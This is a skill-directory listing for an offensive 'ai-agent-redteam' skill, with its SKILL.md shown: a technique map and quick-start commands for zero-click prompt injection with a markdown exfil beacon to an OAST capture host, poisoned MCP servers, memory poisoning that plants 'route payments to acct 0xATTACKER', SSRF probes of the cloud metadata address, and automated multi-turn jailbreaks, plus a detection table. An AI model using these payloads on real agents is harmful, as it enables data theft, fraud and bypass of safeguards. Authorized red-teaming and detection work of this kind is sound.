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ai-agent-redteam

Use when red-teaming an agentic AI / LLM application — indirect & zero-click prompt injection, MCP tool poisoning, persistent memory poisoning, excessive-agency tool abuse, multi-turn jailbreaks, PyRIT/Garak/Promptfoo harnesses

Install / Use

npx skills add hypnguyen1209/offensive-claude --skill ai-agent-redteam

Installs into whichever agent you are using.

About this skill
📄

SKILL.md

Installable skill definition

Quality Score

86/100

Category

Security

Supported Platforms

Universal

Our assessment of ai-agent-redteam

ai-agent-redteam scores 86/100 on our quality scale, 712th of 1,096 Security skills we index.

Its SKILL.md is 8.5 KB long, well organised into 13 sections with 1 code example: a thorough specification that gives an agent plenty to work with.

It has 377 GitHub stars, a meaningful sign that others use it.

Substance
29/30
Structure
17/20
Description
15/15
Adoption
11/20
Freshness
15/15

Maintenance, license and trust

  • The repository was last updated 14 days ago, so ai-agent-redteam is actively maintained.
  • It is released under the MIT license, a permissive license that allows use, modification and commercial use with attribution.
  • Its trust signals score 100/100, with no cautions. These come from repository metadata, not a code audit — read the skill file before letting an agent act on it.

Safety scan

Warning

Our scan of the whole file found 1 high-risk pattern. Read the lines below before installing ai-agent-redteam, and do not run it with automatic approvals.

  • highSends data to a known request-capture serviceline 75
    --exfil-base https://oast.pro/$TOKEN --obfuscate html-comment --out payload.eml

Automated pattern scan on 2026-10-05. It catches known dangerous patterns, not every risk — read a skill before letting an agent act on it.

ai-agent-redteam compared with similar skills

All 4 of these similar skills score higher than ai-agent-redteam; compare them before choosing.

SkillScoreStarsUpdatedFormat
ai-agent-redteam (this skill)by hypnguyen12098637714d agoSKILL.md
Agent-Reachby Panniantong10090.8k19d agoCLAUDE.md
headroomby headroomlabs-ai10074.4ktodayCLAUDE.md
CowAgentby zhayujie10047.2ktodayCLAUDE.md
Scraplingby D4Vinci10085.7ktodayMCP Server

Frequently asked questions

How do I install ai-agent-redteam?
Run npx skills add hypnguyen1209/offensive-claude --skill ai-agent-redteam. The install tabs above show the steps for each supported agent.
Which AI agents does ai-agent-redteam work with?
It is written for Universal, as a SKILL.md file. Other agents that read the same format can often use it too.
Is ai-agent-redteam safe to use?
Our scan of the whole file found 1 high-risk pattern. Read the lines below before installing ai-agent-redteam, and do not run it with automatic approvals. It is MIT-licensed and scores 100/100 on trust signals. Skills are instructions an agent will follow, so read the file before installing it and do not approve commands you do not understand.
Is ai-agent-redteam still maintained?
The repository was last updated 14 days ago, so ai-agent-redteam is actively maintained.

name: ai-agent-redteam description: Use when red-teaming an agentic AI / LLM application — indirect & zero-click prompt injection, MCP tool poisoning, persistent memory poisoning, excessive-agency tool abuse, multi-turn jailbreaks, PyRIT/Garak/Promptfoo harnesses metadata: type: offensive phase: exploit tools: [pyrit, garak, promptfoo, python, mcp] mitre: [AML.T0051, AML.T0053, AML.T0054, AML.T0070, AML.T0071] kill_chain: phase: [recon, weaponize, delivery, exploit, actions] step: [1, 2, 3, 4, 7] attck_tactics: [TA0043, TA0001, TA0002, TA0010] attck_techniques: [T1566.002, T1059, T1071.001, T1567, T1657] depends_on: [recon-osint, ai-security] feeds_into: [exploit-development, cloud-security, web-pentest] inputs: [agent_endpoint, mcp_server_config, rag_corpus, system_prompt, tool_manifest] outputs: [finding_record, jailbreak_payload, poisoned_artifact, attack_success_rate_report] references:

  • references/indirect-prompt-injection.md
  • references/mcp-tool-poisoning.md
  • references/memory-context-poisoning.md
  • references/excessive-agency-tool-abuse.md
  • references/automated-jailbreak-multiturn.md
  • references/agent-redteam-tooling.md scripts:
  • scripts/indirect_injection_forge.py
  • scripts/mcp_tool_poison_server.py
  • scripts/memory_poison_minja.py
  • scripts/agency_tool_fuzzer.py
  • scripts/multiturn_jailbreak.py
  • scripts/agent_redteam_harness.py

AI Agent Red Teaming

Offensive testing of autonomous LLM agents — systems that combine model reasoning with tools, memory, retrieval, and multi-step planning. This is distinct from model-level testing (see ai-security): the attack surface here is the agentic pipeline — untrusted data channels, tool/MCP integrations, persistent memory, and delegated authority. Assumes authorized engagement.

When to Activate

  • Pentesting an LLM agent with tool/function-calling, an MCP client, or a code interpreter
  • Testing RAG / email / browser assistants for indirect or zero-click prompt injection
  • Auditing MCP server integrations for tool poisoning, rug-pull, or line-jumping
  • Assessing persistent memory / long-term context for poisoning and belief drift
  • Evaluating excessive agency: confused-deputy, SSRF/RCE-via-tool, over-privileged actions
  • Running automated jailbreak campaigns (PAIR/TAP/Crescendo/Best-of-N) and measuring ASR
  • Standing up a repeatable PyRIT/Garak/Promptfoo harness mapped to OWASP Agentic Top 10 / ATLAS

Technique Map

| Technique | ATT&CK | CWE | Reference | Script | |-----------|--------|-----|-----------|--------| | Indirect / zero-click prompt injection (EchoLeak-class) | T1566.002 / AML.T0051.001 | CWE-1427 | references/indirect-prompt-injection.md | scripts/indirect_injection_forge.py | | RAG corpus poisoning & markdown/image exfiltration | T1567 / AML.T0070 | CWE-1426 | references/indirect-prompt-injection.md | scripts/indirect_injection_forge.py | | Browser-agent hijack (Comet/CometJacking, Atlas) | T1071.001 / AML.T0051 | CWE-1427 | references/indirect-prompt-injection.md | scripts/indirect_injection_forge.py | | MCP tool poisoning / line-jumping | T1059 / AML.T0053 | CWE-1427 | references/mcp-tool-poisoning.md | scripts/mcp_tool_poison_server.py | | MCP rug-pull (silent redefinition) | T1554 / AML.T0010 | CWE-494 | references/mcp-tool-poisoning.md | scripts/mcp_tool_poison_server.py | | Persistent memory poisoning (MINJA/MemoryGraft) | T1565.001 / AML.T0070 | CWE-349 | references/memory-context-poisoning.md | scripts/memory_poison_minja.py | | Excessive agency / confused-deputy tool abuse | T1548 / AML.T0053 | CWE-862 | references/excessive-agency-tool-abuse.md | scripts/agency_tool_fuzzer.py | | Tool output → SSRF / RCE chaining | T1059 / AML.T0054 | CWE-918 / CWE-94 | references/excessive-agency-tool-abuse.md | scripts/agency_tool_fuzzer.py | | Automated multi-turn jailbreak (Crescendo/TAP/PAIR) | AML.T0054 / AML.T0071 | CWE-1426 | references/automated-jailbreak-multiturn.md | scripts/multiturn_jailbreak.py | | Best-of-N / encoding obfuscation jailbreak | AML.T0054 | CWE-1426 | references/automated-jailbreak-multiturn.md | scripts/multiturn_jailbreak.py | | Harness & ASR scoring (PyRIT/Garak/Promptfoo) | AML.T0071 | CWE-1426 | references/agent-redteam-tooling.md | scripts/agent_redteam_harness.py |

Quick Start

# 0. Scope: enumerate agent surface — tools/functions, MCP servers, memory store, data channels
python scripts/agent_redteam_harness.py enumerate --endpoint $AGENT_URL --out surface.json

# 1. Indirect injection: forge a zero-click payload (email/doc/web) + markdown exfil beacon
python scripts/indirect_injection_forge.py --channel email \
  --exfil-base https://oast.pro/$TOKEN --obfuscate html-comment --out payload.eml

# 2. MCP: stand up a poisoned MCP server to test client validation / line-jumping
python scripts/mcp_tool_poison_server.py --mode tool-poison --transport stdio

# 3. Memory: query-only MINJA-style injection of a persistent malicious belief
python scripts/memory_poison_minja.py --endpoint $AGENT_URL \
  --trigger "vendor invoice" --payload "route payments to acct 0xATTACKER" --bridge-steps 4

# 4. Excessive agency: fuzz tool calls for confused-deputy / SSRF / path traversal
python scripts/agency_tool_fuzzer.py --endpoint $AGENT_URL --tools surface.json --ssrf-canary http://169.254.169.254/

# 5. Automated jailbreak campaign (Crescendo + Best-of-N), record ASR
python scripts/multiturn_jailbreak.py --endpoint $AGENT_URL --strategy crescendo \
  --objective "$OBJECTIVE" --max-turns 8 --judge-endpoint $JUDGE_URL

# 6. Full harness run mapped to OWASP Agentic Top 10 + MITRE ATLAS, emit finding records
python scripts/agent_redteam_harness.py run --config harness.yaml --report findings/

OPSEC & Detection (summary)

| Technique | Telemetry / IOC | Detection (Sigma/EDR) | OPSEC note | |-----------|-----------------|-----------------------|------------| | Indirect injection | Hidden HTML comment / white-on-white / 0px text in ingested docs; markdown image to external host | Scan ingested content for <!--, display:none, font-size:0, reference-style ![]; alert on agent-initiated egress to non-allowlisted domains | Stage payloads only on assets in scope; use unique per-test OAST tokens to attribute hits | | MCP tool poisoning | New/changed tool description hash; instruction-like text in JSON Schema description/enum | Diff tool manifests on connect; flag tool metadata containing imperative verbs / <IMPORTANT> / "do not tell the user" | Test against a local client; never point a real client at an untrusted server outside the lab | | Memory poisoning | Memory write from low-trust source; semantic drift between stored belief and source provenance | Provenance-tagged memory; alert on retrieval that injects procedural instructions; belief-drift monitor | Use benign-looking triggers; document the latent trigger so blue team can replay/clean | | Excessive agency | Tool call to internal IP / metadata endpoint; unusual tool-chain ordering; off-hours actions | EDR/network: egress to 169.254.169.254/link-local; anomaly on tool-call sequences | Use non-destructive canaries (read-only SSRF probe) before any state-changing test | | Automated jailbreak | Burst of semantically-similar prompts; high-perplexity / encoded inputs; rising compliance over turns | Rate + similarity clustering per session; perplexity & encoding detectors; multi-turn escalation scoring | Throttle to avoid DoS; log full transcripts for the report; respect content guardrails of scope |

Deep Dives

  • references/indirect-prompt-injection.md — Zero-click/indirect injection across email, RAG, docs, and AI browsers; EchoLeak chain, CometJacking, markdown/image exfil, obfuscation, detection.
  • references/mcp-tool-poisoning.md — Model Context Protocol attack surface: tool poisoning, line-jumping, rug-pull, MCP Inspector RCE; building a malicious server; client-side validation gaps.
  • references/memory-context-poisoning.md — Persistent/temporally-decoupled poisoning of agent memory, embeddings, RAG; MINJA query-only injection, MemoryGraft, AgentPoison, belief-drift detection.
  • references/excessive-agency-tool-abuse.md — OWASP LLM06 / ASI02 / ASI05: confused-deputy, over-privileged tools, SSRF/RCE via tool output, code-interpreter abuse; least-privilege controls.
  • references/automated-jailbreak-multiturn.md — PAIR, TAP, Crescendo, Best-of-N, GOAT, AutoDAN-Turbo; attacker/judge loop, encoding converters, ASR measurement, classifier-bypass tactics.
  • references/agent-redteam-tooling.md — Methodology + harness: PyRIT orchestrators, Garak probes, Promptfoo presets; OWASP Agentic Top 10 (ASI01–10) & MITRE ATLAS mapping; finding records.

Related Skills

View on GitHub
GitHub Stars377
CategorySecurity
Updated14d ago
Forks65

Languages

Python

Trust signals

100/100

From repository metadata: license, adoption, age and documentation. Not a code audit — see the Safety scan above for what the skill file itself contains.

No cautions